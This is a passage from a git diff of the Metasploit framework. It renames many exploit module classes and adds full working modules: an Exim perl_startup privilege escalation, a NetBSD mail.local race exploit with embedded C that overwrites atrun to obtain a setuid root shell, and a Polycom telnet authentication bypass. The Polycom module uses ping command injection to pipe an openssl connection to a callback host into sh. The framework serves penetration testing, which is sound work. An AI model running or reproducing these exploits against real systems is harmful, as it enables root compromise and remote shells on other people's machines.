print_good('Payload executed successfully') + elsif res.code && res.code == 404 + fail_with(Failure::NotVulnerable, "Could not find payload '#{fname}'") + else + fail_with(Failure::UnexpectedReply, 'Unable to execute payload') + end + end +end diff --git a/modules/exploits/unix/http/freepbx_callmenum.rb b/modules/exploits/unix/http/freepbx_callmenum.rb index cb85ffd2a2..2c1e3a00a7 100644 --- a/modules/exploits/unix/http/freepbx_callmenum.rb +++ b/modules/exploits/unix/http/freepbx_callmenum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/http/lifesize_room.rb b/modules/exploits/unix/http/lifesize_room.rb index 8a06f2b6b2..f149a66c21 100644 --- a/modules/exploits/unix/http/lifesize_room.rb +++ b/modules/exploits/unix/http/lifesize_room.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/http/twiki_debug_plugins.rb b/modules/exploits/unix/http/twiki_debug_plugins.rb index 53f4b48af4..78c51d98f0 100644 --- a/modules/exploits/unix/http/twiki_debug_plugins.rb +++ b/modules/exploits/unix/http/twiki_debug_plugins.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb index 1b2de6b94b..3765e1585b 100644 --- a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb +++ b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb index c9a00bc53e..49205040b0 100644 --- a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb +++ b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/local/chkrootkit.rb b/modules/exploits/unix/local/chkrootkit.rb index 1c7b5c64a6..bf1f1be6a3 100644 --- a/modules/exploits/unix/local/chkrootkit.rb +++ b/modules/exploits/unix/local/chkrootkit.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local # This could also be Excellent, but since it requires # up to one day to pop a shell, let's set it to Manual instead. @@ -16,11 +16,11 @@ class Metasploit4 < Msf::Exploit::Local super(update_info(info, 'Name' => 'Chkrootkit Local Privilege Escalation', 'Description' => %q{ - Chkrootkit before 0.50 will run any executable file named - /tmp/update as root, allowing a trivial privsec. + Chkrootkit before 0.50 will run any executable file named /tmp/update + as root, allowing a trivial privilege escalation. - WfsDelay is set to 24h, since this is how often a chkrootkit - scan is scheduled by default. + WfsDelay is set to 24h, since this is how often a chkrootkit scan is + scheduled by default. }, 'Author' => [ 'Thomas Stangner', # Original exploit diff --git a/modules/exploits/unix/local/exim_perl_startup.rb b/modules/exploits/unix/local/exim_perl_startup.rb new file mode 100644 index 0000000000..062190d860 --- /dev/null +++ b/modules/exploits/unix/local/exim_perl_startup.rb @@ -0,0 +1,59 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + + Rank = ExcellentRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exim "perl_startup" Privilege Escalation', + 'Description' => %q{ + This module exploits a Perl injection vulnerability in Exim < 4.86.2 + given the presence of the "perl_startup" configuration parameter. + }, + 'Author' => [ + 'Dawid Golunski', # Vulnerability discovery + 'wvu' # Metasploit module + ], + 'References' => [ + %w{CVE 2016-1531}, + %w{EDB 39549}, + %w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt} + ], + 'DisclosureDate' => 'Mar 10 2016', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'SessionTypes' => %w{shell meterpreter}, + 'Privileged' => true, + 'Payload' => { + 'BadChars' => "\x22\x27", # " and ' + 'Compat' => { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet' + } + }, + 'Targets' => [ + ['Exim < 4.86.2', {}] + ], + 'DefaultTarget' => 0 + )) + end + + def check + if exploit('whoami') == 'root' + CheckCode::Vulnerable + else + CheckCode::Safe + end + end + + def exploit(c = payload.encoded) + # PERL5DB technique from http://perldoc.perl.org/perlrun.html + cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-}) + end + +end diff --git a/modules/exploits/unix/local/netbsd_mail_local.rb b/modules/exploits/unix/local/netbsd_mail_local.rb new file mode 100644 index 0000000000..0be565ad2c --- /dev/null +++ b/modules/exploits/unix/local/netbsd_mail_local.rb @@ -0,0 +1,330 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NetBSD mail.local Privilege Escalation', + 'Description' => %q{ + This module attempts to exploit a race condition in mail.local with SUID bit set on: + NetBSD 7.0 - 7.0.1 (verified on 7.0.1) + NetBSD 6.1 - 6.1.5 + NetBSD 6.0 - 6.0.6 + Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die ', # Module + 'akat1' # Discovery + ], + + 'DisclosureDate' => 'Jul 07 2016', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'SessionTypes' => %w{shell meterpreter}, + 'Privileged' => true, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic openssl' + } + }, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'WfsDelay' => 603 }, #can take 10min for cron to kick + 'References' => + [ + [ "URL", "http://akat1.pl/?id=2"], + [ "EDB", "40141"], + [ "CVE", "2016-6253"], + [ "URL", "http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc"] + ] + )) + register_options([ + OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']), + OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603]) + ], self.class) + end + + def exploit + # lots of this file's format is based on pkexec.rb + + # direct copy of code from exploit-db + main = %q{ + // Source: http://akat1.pl/?id=2 + + #include + #include + #include + #include + #include + #include + #include + #include + + #define ATRUNPATH "/usr/libexec/atrun" + #define MAILDIR "/var/mail" + + static int + overwrite_atrun(void) + { + char *script = "#! /bin/sh\n" + "cp /bin/ksh /tmp/ksh\n" + "chmod +s /tmp/ksh\n"; + size_t size; + FILE *fh; + int rv = 0; + + fh = fopen(ATRUNPATH, "wb"); + + if (fh == NULL) { + rv = -1; + goto out; + } + + size = strlen(script); + if (size != fwrite(script, 1, strlen(script), fh)) { + rv = -1; + goto out; + } + + out: + if (fh != NULL && fclose(fh) != 0) + rv = -1; + + return rv; + } + + static int + copy_file(const char *from, const char *dest, int create) + { + char buf[1024]; + FILE *in = NULL, *out = NULL; + size_t size; + int rv = 0, fd; + + in = fopen(from, "rb"); + if (create == 0) + out = fopen(dest, "wb"); + else { + fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR); + if (fd == -1) { + rv = -1; + goto out; + } + out = fdopen(fd, "wb"); + } + + if (in == NULL || out == NULL) { + rv = -1; + goto out; + } + + while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) { + if (fwrite(&buf, 1, size, in) != 0) { + rv = -1; + goto out; + } + } + + out: + if (in != NULL && fclose(in) != 0) + rv = -1; + if (out != NULL && fclose(out) != 0) + rv = -1; + return rv; + } + + int + main() + { + pid_t pid; + uid_t uid; + struct stat sb; + char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf; + + umask(0077); + + login = getlogin(); + + if (login == NULL) + err(EXIT_FAILURE, "who are you?"); + + uid = getuid(); + + asprintf(&mailbox, MAILDIR "/%s", login); + + if (mailbox == NULL) + err(EXIT_FAILURE, NULL); + + if (access(mailbox, F_OK) != -1) { + /* backup mailbox */ + asprintf(&mailbox_backup, "/tmp/%s", login); + if (mailbox_backup == NULL) + err(EXIT_FAILURE, NULL); + } + + if (mailbox_backup != NULL) { + fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup); + if (copy_file(mailbox, mailbox_backup, 1)) + err(EXIT_FAILURE, "[-] failed"); + } + + /* backup atrun(1) */ + atrun_backup = strdup("/tmp/atrun"); + if (atrun_backup == NULL) + err(EXIT_FAILURE, NULL); + + fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup); + + if (copy_file(ATRUNPATH, atrun_backup, 1)) + err(EXIT_FAILURE, "[-] failed"); + + /* win the race */ + fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH); + + switch (pid = fork()) { + case -1: + err(EXIT_FAILURE, NULL); + /* NOTREACHED */ + case 0: + asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s " + "2> /dev/null", login); + + for(;;) + system(buf); + /* NOTREACHED */ + + default: + umask(0022); + for(;;) { + int fd; + unlink(mailbox); + symlink(ATRUNPATH, mailbox); + sync(); + unlink(mailbox); + fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR); + close(fd); + sync(); + if (lstat(ATRUNPATH, &sb) == 0) { + if (sb.st_uid == uid) { + kill(pid, 9); + fprintf(stderr, "[+] won race!\n"); + break; + } + } + } + break; + } + (void)waitpid(pid, NULL, 0); + + if (mailbox_backup != NULL) { + /* restore mailbox */ + fprintf(stderr, "[+] restore mailbox %s to %s\n", mailbox_backup, mailbox); + + if (copy_file(mailbox_backup, mailbox, 0)) + err(EXIT_FAILURE, "[-] failed"); + if (unlink(mailbox_backup) != 0) + err(EXIT_FAILURE, "[-] failed"); + } + + /* overwrite atrun */ + fprintf(stderr, "[+] overwriting atrun(1)\n"); + + if (chmod(ATRUNPATH, 0755) != 0) + err(EXIT_FAILURE, NULL); + + if (overwrite_atrun()) + err(EXIT_FAILURE, NULL); + + fprintf(stderr, "[+] waiting for atrun(1) execution...\n"); + + for(;;sleep(1)) { + if (access("/tmp/ksh", F_OK) != -1) + break; + } + + /* restore atrun */ + fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup, ATRUNPATH); + + if (copy_file(atrun_backup, ATRUNPATH, 0)) + err(EXIT_FAILURE, "[-] failed"); + if (unlink(atrun_backup) != 0) + err(EXIT_FAILURE, "[-] failed"); + + if (chmod(ATRUNPATH, 0555) != 0) + err(EXIT_FAILURE, NULL); + + fprintf(stderr, "[+] done! Don't forget to change atrun(1) " + "ownership.\n"); + fprintf(stderr, "Enjoy your shell:\n"); + + execl("/tmp/ksh", "ksh", NULL); + + return 0; + } +} + # patch in our variable maildir and atrunpath + main.gsub!(/#define ATRUNPATH "\/usr\/libexec\/atrun"/, + "#define ATRUNPATH \"#{datastore["ATRUNPATH"]}\"") + main.gsub!(/#define MAILDIR "\/var\/mail"/, + "#define MAILDIR \"#{datastore["MAILDIR"]}\"") + + executable_path = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}" + payload_file = "#{rand_text_alpha(8)}" + payload_path = "#{datastore["WritableDir"]}/#{payload_file}" + vprint_status("Writing Payload to #{payload_path}") + # patch in to run our payload as part of ksh + main.gsub!(/execl\("\/tmp\/ksh", "ksh", NULL\);/, + "execl(\"/tmp/ksh\", \"ksh\", \"#{payload_path}\", NULL);") + + write_file(payload_path, payload.encoded) + cmd_exec("chmod 555 #{payload_path}") + register_file_for_cleanup(payload_path) + + print_status "Writing exploit to #{executable_path}.c" + + # clean previous bad attempts to prevent c code from exiting + rm_f executable_path + rm_f '/tmp/atrun' + whoami = cmd_exec('whoami') + rm_f "/tmp/#{whoami}" + + write_file("#{executable_path}.c", main) + print_status("Compiling #{executable_path}.c via gcc") + output = cmd_exec("/usr/bin/gcc -o #{executable_path}.out #{executable_path}.c") + output.each_line { |line| vprint_status(line.chomp) } + + print_status('Starting the payload handler...') + handler({}) + + print_status("Executing at #{Time.now}. May take up to 10min for callback") + output = cmd_exec("chmod +x #{executable_path}.out; #{executable_path}.out") + output.each_line { |line| vprint_status(line.chomp) } + + # our sleep timer + stime = Time.now.to_f + until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f + Rex.sleep(1) + end + print_status("#{Time.now}") + register_file_for_cleanup(executable_path) + register_file_for_cleanup("#{executable_path}.out") + print_status("Remember to run: chown root:wheel #{datastore["ATRUNPATH"]}") + end +end diff --git a/modules/exploits/unix/local/setuid_nmap.rb b/modules/exploits/unix/local/setuid_nmap.rb index db1aeb5ba1..fb4c775800 100644 --- a/modules/exploits/unix/local/setuid_nmap.rb +++ b/modules/exploits/unix/local/setuid_nmap.rb @@ -8,7 +8,7 @@ require 'rex' require 'msf/core/exploit/exe' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE diff --git a/modules/exploits/unix/misc/distcc_exec.rb b/modules/exploits/unix/misc/distcc_exec.rb index 6a4c335ca5..c46bbf9295 100644 --- a/modules/exploits/unix/misc/distcc_exec.rb +++ b/modules/exploits/unix/misc/distcc_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/misc/psh_auth_bypass.rb b/modules/exploits/unix/misc/psh_auth_bypass.rb new file mode 100644 index 0000000000..a968a6259c --- /dev/null +++ b/modules/exploits/unix/misc/psh_auth_bypass.rb @@ -0,0 +1,248 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Polycom Command Shell Authorization Bypass', + 'Alias' => 'psh_auth_bypass', + 'Author' => + [ + 'Paul Haas ', # module + 'h00die ', # submission/cleanup + ], + 'DisclosureDate' => 'Jan 18 2013', + 'Description' => %q( + The login component of the Polycom Command Shell on Polycom HDX + video endpints, running software versions 3.0.5 and earlier, + is vulnerable to an authorization bypass when simultaneous + connections are made to the service, allowing remote network + attackers to gain access to a sandboxed telnet prompt without + authentication. Versions prior to 3.0.4 contain OS command + injection in the ping command which can be used to execute + arbitrary commands as root. + ), + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ], + [ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ], + [ 'EDB', '24494'] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Targets' => [ [ "Universal", {} ] ], + 'Payload' => + { + 'Space' => 8000, + 'DisableNops' => true, + 'Compat' => { 'PayloadType' => 'cmd' } + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, + 'DefaultTarget' => 0 + ) + ) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(23), + OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]), + OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ]) + ], self.class + ) + register_advanced_options( + [ + OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]), + OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100]) + ], self.class + ) + end + + def check + connect + sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n") + Rex.sleep(1) + res = sock.get_once + disconnect + + if !res && !res.empty? + return Exploit::CheckCode::Safe + end + + if res =~ /Welcome to ViewStation/ + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def exploit + # Keep track of results (successful connections) + results = [] + + # Random string for password + password = Rex::Text.rand_text_alpha(rand(5) + 1) + + # Threaded login checker + max_threads = datastore['THREADS'] + cur_threads = [] + + # Try up to 100 times just to be sure + queue = [*(1..datastore['MAX_CONNECTIONS'])] + + print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ") + until queue.empty? + while cur_threads.length < max_threads + + # We can stop if we get a valid login + break unless results.empty? + + # keep track of how many attempts we've made + item = queue.shift + + # We can stop if we reach max tries + break unless item + + t = Thread.new(item) do |count| + sock = connect + sock.put(password + "\n") + res = sock.get_once + + until res.empty? + break unless results.empty? + + # Post-login Polycom banner means success + if res =~ /Polycom/ + results << sock + break + # bind error indicates bypass is working + elsif res =~ /bind/ + sock.put(password + "\n") + # Login error means we need to disconnect + elsif res =~ /failed/ + break + # To many connections means we need to disconnect + elsif res =~ /Error/ + break + end + res = sock.get_once + end + end + + cur_threads << t + end + + # We can stop if we get a valid login + break unless results.empty? + + # Add to a list of dead threads if we're finished + cur_threads.each_index do |ti| + t = cur_threads[ti] + unless t.alive? + cur_threads[ti] = nil + end + end + + # Remove any dead threads from the set + cur_threads.delete(nil) + + Rex.sleep(0.25) + end + + # Clean up any remaining threads + cur_threads.each { |sock| sock.kill } + + if !results.empty? + print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw") + do_payload(results[0]) + else + print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable") + end + end + + def do_payload(sock) + # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise + cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) + + # Start a listener + start_listener(true) + + # Figure out the port we picked + cbport = self.service.getsockname[2] + + # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128 + cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n" + sock.put(cmd) + + # Give time for our command to be queued and executed + 1.upto(5) do + Rex.sleep(1) + break if session_created? + end + end + + def stage_final_payload(cli) + print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") + cli.put(payload.encoded + "\n") + end + + def start_listener(ssl = false) + comm = datastore['ListenerComm'] + if comm == 'local' + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + self.service = Rex::Socket::TcpServer.create( + 'LocalPort' => datastore['CBPORT'], + 'SSL' => ssl, + 'SSLCert' => datastore['SSLCert'], + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self + } + ) + + self.service.on_client_connect_proc = proc { |client| + stage_final_payload(client) + } + + # Start the listening service + self.service.start + end + + # Shut down any running services + def cleanup + super + if self.service + print_status("Shutting down payload stager listener...") + begin + self.service.deref if self.service.is_a?(Rex::Service) + if self.service.is_a?(Rex::Socket) + self.service.close + self.service.stop + end + self.service = nil + rescue ::Exception + end + end + end + + # Accessor for our TCP payload stager + attr_accessor :service +end diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb index 9bdeb95f3d..e86a518727 100644 --- a/modules/exploits/unix/misc/qnx_qconn_exec.rb +++ b/modules/exploits/unix/misc/qnx_qconn_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/misc/spamassassin_exec.rb b/modules/exploits/unix/misc/spamassassin_exec.rb index 1445b92a9c..5b52c215f9 100644 --- a/modules/exploits/unix/misc/spamassassin_exec.rb +++ b/modules/exploits/unix/misc/spamassassin_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/misc/xerox_mfp.rb b/modules/exploits/unix/misc/xerox_mfp.rb index 64b8255efb..5f5c297d71 100644 --- a/modules/exploits/unix/misc/xerox_mfp.rb +++ b/modules/exploits/unix/misc/xerox_mfp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/misc/zabbix_agent_exec.rb b/modules/exploits/unix/misc/zabbix_agent_exec.rb index 7498d4486e..f197f52cf8 100644 --- a/modules/exploits/unix/misc/zabbix_agent_exec.rb +++ b/modules/exploits/unix/misc/zabbix_agent_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb index c504ba9392..e2bcac05b5 100644 --- a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb +++ b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Smtp diff --git a/modules/exploits/unix/smtp/exim4_string_format.rb b/modules/exploits/unix/smtp/exim4_string_format.rb index a985514797..429deb28bf 100644 --- a/modules/exploits/unix/smtp/exim4_string_format.rb +++ b/modules/exploits/unix/smtp/exim4_string_format.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Smtp diff --git a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb index 02376c7c19..bac875c82e 100644 --- a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb +++ b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb @@ -6,10 +6,11 @@ require 'msf/core' require 'net/ssh' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE + include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, @@ -98,18 +99,15 @@ class Metasploit3 < Msf::Exploit::Remote key_data += "+sqSEhA35Le2kC4Y1/A=\n" key_data += "-----END DSA PRIVATE KEY-----\n" + factory = ssh_socket_factory opts = { - #:auth_methods => ['password', 'keyboard-interactive'], :auth_methods => ['publickey'], - :msframework => framework, - :msfmodule => self, :port => rport, - :disable_agent => true, + :use_agent => false, :config => true, :key_data => key_data, - #:password => pass, - :record_auth_info => true, - :proxies => datastore['Proxies'] + :proxy => factory, + :non_interactive => true } opts @@ -117,17 +115,15 @@ class Metasploit3 < Msf::Exploit::Remote def login_user_pass(user, pass) print_status("#{rhost}:#{rport} - Attempting to login with '#{user}:#{pass}'") - + factory = ssh_socket_factory opts = { :auth_methods => ['password', 'keyboard-interactive'], - :msframework => framework, - :msfmodule => self, :port => rport, - :disable_agent => true, + :use_agent => false, :config => true, :password => pass, - :record_auth_info => true, - :proxies => datastore['Proxies'] + :proxy => factory, + :non_interactive => true } opts diff --git a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb index 5c1510028b..34c4fb0d32 100644 --- a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb +++ b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'net/ssh' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp @@ -186,7 +186,7 @@ class Metasploit3 < Msf::Exploit::Remote end def init_ssh(user) - opts = {:user=>user, :record_auth_info=>true, :port=>rport} + opts = {:user=>user, :port=>rport} options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts) transport = Net::SSH::Transport::Session.new(rhost, options) connection = Net::SSH::Connection::Session.new(transport, options) diff --git a/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb index 99d0bc71fd..3700edc024 100644 --- a/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb +++ b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb index c97f321c9a..2d27a36799 100644 --- a/modules/exploits/unix/webapp/arkeia_upload_exec.rb +++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/awstats_configdir_exec.rb b/modules/exploits/unix/webapp/awstats_configdir_exec.rb index bc273029c4..c047d659b8 100644 --- a/modules/exploits/unix/webapp/awstats_configdir_exec.rb +++ b/modules/exploits/unix/webapp/awstats_configdir_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/awstats_migrate_exec.rb b/modules/exploits/unix/webapp/awstats_migrate_exec.rb index 516bac7a51..b91d673eb6 100644 --- a/modules/exploits/unix/webapp/awstats_migrate_exec.rb +++ b/modules/exploits/unix/webapp/awstats_migrate_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/awstatstotals_multisort.rb b/modules/exploits/unix/webapp/awstatstotals_multisort.rb index de4f73f6b2..12a82d861e 100644 --- a/modules/exploits/unix/webapp/awstatstotals_multisort.rb +++ b/modules/exploits/unix/webapp/awstatstotals_multisort.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/barracuda_img_exec.rb b/modules/exploits/unix/webapp/barracuda_img_exec.rb index ce3cf84b4a..d334336979 100644 --- a/modules/exploits/unix/webapp/barracuda_img_exec.rb +++ b/modules/exploits/unix/webapp/barracuda_img_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/webapp/base_qry_common.rb b/modules/exploits/unix/webapp/base_qry_common.rb index 574db617bd..48882338b7 100644 --- a/modules/exploits/unix/webapp/base_qry_common.rb +++ b/modules/exploits/unix/webapp/base_qry_common.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb index 3dcef095f8..748c447481 100644 --- a/modules/exploits/unix/webapp/basilic_diff_exec.rb +++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb index 66ab5cdf4e..a91d30bcad 100644 --- a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb +++ b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < 